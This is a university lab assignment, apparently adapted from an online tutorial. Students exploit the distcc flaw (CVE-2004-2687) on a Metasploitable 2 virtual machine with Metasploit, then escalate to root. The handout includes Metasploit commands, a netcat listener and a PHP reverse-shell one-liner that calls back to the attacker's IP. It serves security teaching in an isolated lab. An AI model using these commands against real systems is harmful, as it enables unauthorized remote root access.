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Metasploit tutorial & exercise 

From: https://null-byte.wonderhowto.com/how-to/hack-
metasploitable-2-including-privilege-escalation-0170603/ 

 

Follow the following tutorial. Take a screenshot when it is required from 

the tutorial and answer the questions that are included in the steps. 

Questions and required screenshots are Then complete the additional 

exercise at the end. Submit your report on Oaks. 

 

For this assignment you will need to have two VMs running on your PC. 

The two VMs need to communicate. You will need to change the network 

settings to INet (Internal Network) and use the “ifconfig” command to set 

an IP address. Run a ping between the VMs to verify they can connect. 

Take a screenshot for your report. 

 

Start the Metasploitable 2 

We have to start the Metasploitable 2 (I suppose that the reader is able to do it 

without a guide) and record the IP. For our example the IP of Metasploitable 2 is 

"192.168.1.4". The attackers IP is "192.168.1.6" for this example. 

Step 2Start the Metasploit 
• First, we have to start the PostgreSQL service (service postgresql start). 

• Then we are ready to start the Metasploit framework(msfconsole). 

Step 3Let the Penetration Begins 
One of the Metasploitable's security issues is Exploit CVE 2004-2687. 

Q: Describe this exploit in your own words. 

Go to the Metasploit's console and search for distcc (search distcc) 

https://null-byte.wonderhowto.com/how-to/hack-metasploitable-2-including-privilege-escalation-0170603/
https://null-byte.wonderhowto.com/how-to/hack-metasploitable-2-including-privilege-escalation-0170603/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
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Now we are ready to use the exploit and set the values we want for the RHOST, 

PAYLOAD and LHOST options. 
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Run the command: 

show options  

in the metasploit window and take a screenshot.  

Now we are going to run the simple exploit command to exploit (exploit) the 

target. 

 
Image via postimg.org 

The target is ours or almost ours?! Let's see who am I (whoami)! 

 
Image via postimg.org 

After all these commands I am a simple deamon! I want the root privilege so 

much... 

Step 4Privilege Escalation 1/2 
Now press Ctrl+C to terminate the current connection to the target! 
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Now exploit the target and send the job to the background (exploit -j) 

 
Image via postimg.org 

But what? Wait a sec! It is not going to the background! It is waiting for an input. 

At this moment you are able to run just one command as root. A single line is 

separating you from root privileges! If you don't believe me run 

the whoami command and you will see! But do not run this if this is your first time 

reading this tutorial. 

At this point I should be clever. What do I want to run as root? Of course a reverse 

shell to my computer. So, let's start the server! 

Step 5Run a Netcat Server 
Start a new terminal window and run netcat -lvp 5555. Make sure that you are 

not running any service at 5555 port. If you do just pick your own port number! 

 
Image via postimg.org 

Now, the server is running and waiting for a connection! 

Q: What does the command netcat do? 

Step 6Privilege Escalation 2/2 
Now we are back to the other terminal window, Metasploit. 

http://postimg.org/
http://postimg.org/
http://postimg.org/
https://img.wonderhowto.com/img/original/13/10/63597105881167/0/635971058811671310.jpg
https://img.wonderhowto.com/img/original/86/50/63597106287783/0/635971062877838650.jpg


Page 5 of 6 
 

A lot of people would run a reverse shell using the netcat. But let's say that you 

have no netcat available at the server, what are you going to do? Even the 

Metasploitable is some kind of server. Open your browser at the Metasploitable's 

IP and you will see! You will see that you have phpMyAdmin! So, we are going 

to create a reverse shell using php. 

Without more ado, go to the Metasploit terminal and run the command: php -r 

'$sock=fsockopen("192.168.1.6",5555);exec("/bin/sh -i <&3 >&3 2>&3");' 

 
Image via postimg.org 

Q: What does this php program do? 

After this, go the other terminal. Yes, the one with the netcat which is waiting! 

Something nice happened over there... 

 
Image via postimg.org 

Can you see that symbol (#). It is my favorite! You are logged in as root! If you 

don't believe me then ask your target whoami! 

 

Take a screenshot of this last screen that shows your whole kali image and 

something distinctive, such as your name/username. 
 

Exercise: 

1. Run a detailed nmap scan against your metasploitable VM from your Kali VM. Your scan should 

list operating system details and all open services. 

2. Take a screenshot of the results. 

3. Pick an exploit other than distcc_exec to exploit. Describe this exploit and show the steps that 

you took to implement it. You may use the following two sites that discuss enumeration and 

methods to discover exploits on metasploitable:  

http://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-enumeration/ 
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http://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-vulnerability-

assessment/ 

Note: there are several sites that show a step by step guide to exploit metasploitable. If you use 

any of these sites, please list it in the bibliography section of your report. 

http://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-vulnerability-assessment/
http://www.hackingtutorials.org/metasploit-tutorials/metasploitable-2-vulnerability-assessment/

